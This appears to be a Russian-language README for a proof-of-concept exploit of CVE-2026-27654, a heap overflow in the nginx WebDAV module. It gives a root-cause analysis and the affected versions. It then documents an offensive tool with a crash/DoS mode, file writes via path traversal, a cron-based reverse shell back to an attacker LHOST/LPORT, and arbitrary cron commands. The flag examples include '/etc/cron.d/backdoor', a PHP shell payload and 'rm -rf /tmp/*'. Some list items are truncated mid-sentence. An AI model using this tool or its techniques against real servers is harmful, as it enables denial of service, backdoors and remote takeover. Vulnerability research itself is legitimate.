
Proof-of-Concept и технический анализ для CVE-2026-27654 — уязвимости переполнения буфера в куче в модуле NGINX HTTP WebDAV, включая анализ первопричины, воспроизведение и меры по смягчению последствий.
Этот репозиторий содержит концепт‑эксплойт для CVE‑2026‑27654 — уязвимости переполнения кучи в модуле ngx_http_dav_module nginx. Ошибка возникает из‑за целочисленного потери значимости (underflow) типа size_t при обработке запросов MOVE/COPY со специально сформированными заголовками Destination и location‑блоками на основе alias.
⚠️ Предупреждение: Этот инструмент предназначен только для авторизованных исследований и тестирования безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
CVE‑2026‑27654 — это удаленно активируемое переполнение буфера в куче в HTTP WebDAV‑модуле NGINX, вызванное целочисленным underflow в ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). Уязвимость возникает, когда длина URI назначения вычисляется вычитанием настроенного префикса location из пути заголовка Destination. Поскольку оба операнда имеют тип size_t, более короткий путь назначения приводит к тому, что результат вычитания «заворачивается» до почти максимального беззнакового значения.
Затем «завёрнутая» длина используется в качестве аргумента размера для memcpy(), что приводит к записи за пределами кучи, повреждению памяти и немедленному падению рабочего процесса NGINX. Удаленный неаутентифицированный злоумышленник может надежно вызвать это состояние с помощью одного специально сформированного запроса MOVE или COPY, нацеленного на WebDAV‑локацию, сопоставленную с alias. Хотя главный процесс NGINX автоматически перезапускает упавшие рабочие процессы, повторные запросы могут поддерживать сервис в состоянии непрерывного цикла падения воркеров, что приводит к устойчивому отказу в обслуживании (Denial-of-Service, DoS).
AddressSanitizer (ASan) подтверждает уязвимость ошибкой negative-size-param в memcpy(), прослеживая путь выполнения от ngx_http_dav_copy_move_handler() до ngx_http_core_module.c. Уязвимость затрагивает NGINX 0.5.13–1.28.2 (stable) и 1.29.0–1.29.6 (mainline) при компиляции с --with-http_dav_module и настройке с директивой alias. Проблема была устранена в NGINX 1.28.3 и 1.29.7 (коммит ab4b5b8, PR #1210) путем надлежащей проверки вычисленной длины пути назначения перед операциями с памятью.
MOVE/COPY, который вызывает underflow типа size_t и приводит к падению уязвимого воркера.alias)./etc/cron.d/ с интерактивными запросами LHOST/LPORT и напоминанием о запуске слушателя.--cron-command.--check) – неинтерактивный режим, который запускает тест на падение и выводит четкий вердикт [VULNERABLE] / [NOT VULNERABLE], завершаясь с кодом 0 или 1.--proxy) – маршрутизация всех запросов через HTTP/HTTPS‑прокси (например, Burp Suite, mitmproxy) для отладки или проверки трафика.--payload-file (бинарный), --payload-text (буквальный текст) или использование тестового содержимого по умолчанию.--destination-path, --alias-len, --escape-depth, --method, --location-prefix и другие.requests не установлена, скрипт переключается на стандартный модуль Python http.client (в этом режиме поддержка прокси отключена).git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
Вам будет показано нумерованное меню и предложено выбрать режим.
python exploit.py --target 192.168.1.100:8080 --check
Это принудительно включает режим crash, запускает эксплойт и выводит [VULNERABLE] или [NOT VULNERABLE], после чего завершается с кодом 0 или 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Все HTTP‑запросы будут отправляться через указанный прокси (полезно для отладки с Burp).
| Flag | Description | Example |
|---|---|---|
--target HOST:PORT | Целевой экземпляр nginx (по умолчанию: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Показывать полные HTTP‑ответы (заголовки и тело). | -v |
--no-put | Пропустить начальный PUT (предполагается, что триггерный файл уже существует). Полезно для повторного тестирования. | --no-put |
--location-prefix | Префикс DAV‑локации (по умолчанию: /uploads/). Должен совпадать с location alias в конфигурации nginx. | --location-prefix /dav/ |
--remote-name | Удаленное имя исходного файла, размещаемого внутри DAV‑локации (по умолчанию: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV‑метод для запроса назначения (по умолчанию: MOVE). | --method COPY |
--destination-path | Путь URI назначения — используется для арифметики при падении или как конечный путь файла для режимов доставки. | --destination-path /etc/cron.d/backdoor |
--alias-len | Длина строки настроенного alias (используется для отображения арифметики падения, по умолчанию 13). | --alias-len 20 |
--escape-depth | Количество компонентов пути ../ для выхода за пределы корня DAV (по умолчанию 1). | --escape-depth 3 |
--payload-file | Локальный файл для загрузки в качестве пейлоада. Заменяет тестовое содержимое по умолчанию. | --payload-file ./shell.php |
--payload-text | Текстовый пейлоад для режима write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Хост для обратного вызова reverse shell (для cron-shell). Если не указан, скрипт запросит его интерактивно. | --lhost 192.168.1.50 |
--lport | Порт для обратного вызова reverse shell (для cron-shell). | --lport 4444 |
--cron-command | Команда для выполнения через cron (для cron-cmd). Если не указана, скрипт запросит её интерактивно. | --cron-command "rm -rf /tmp/*" |
--wait | Секунды ожидания после доставки cron‑задания до его выполнения (по умолчанию 65). | --wait 120 |
--check | Запуск проверки уязвимости (тест на падение, неинтерактивно). Выводит VULNERABLE/NOT VULNERABLE и завершается с кодом 0/1. | --check |
--proxy PROXY_URL | URL HTTP/HTTPS‑прокси (например, http://127.0.0.1:8080). Требует библиотеку requests. | --proxy http://127.0.0.1:8080 |
Примечание: Большинство флагов необязательны. Если обязательные аргументы не указаны, скрипт запросит их (например,
--lhost/--lportдляcron-shell).
crash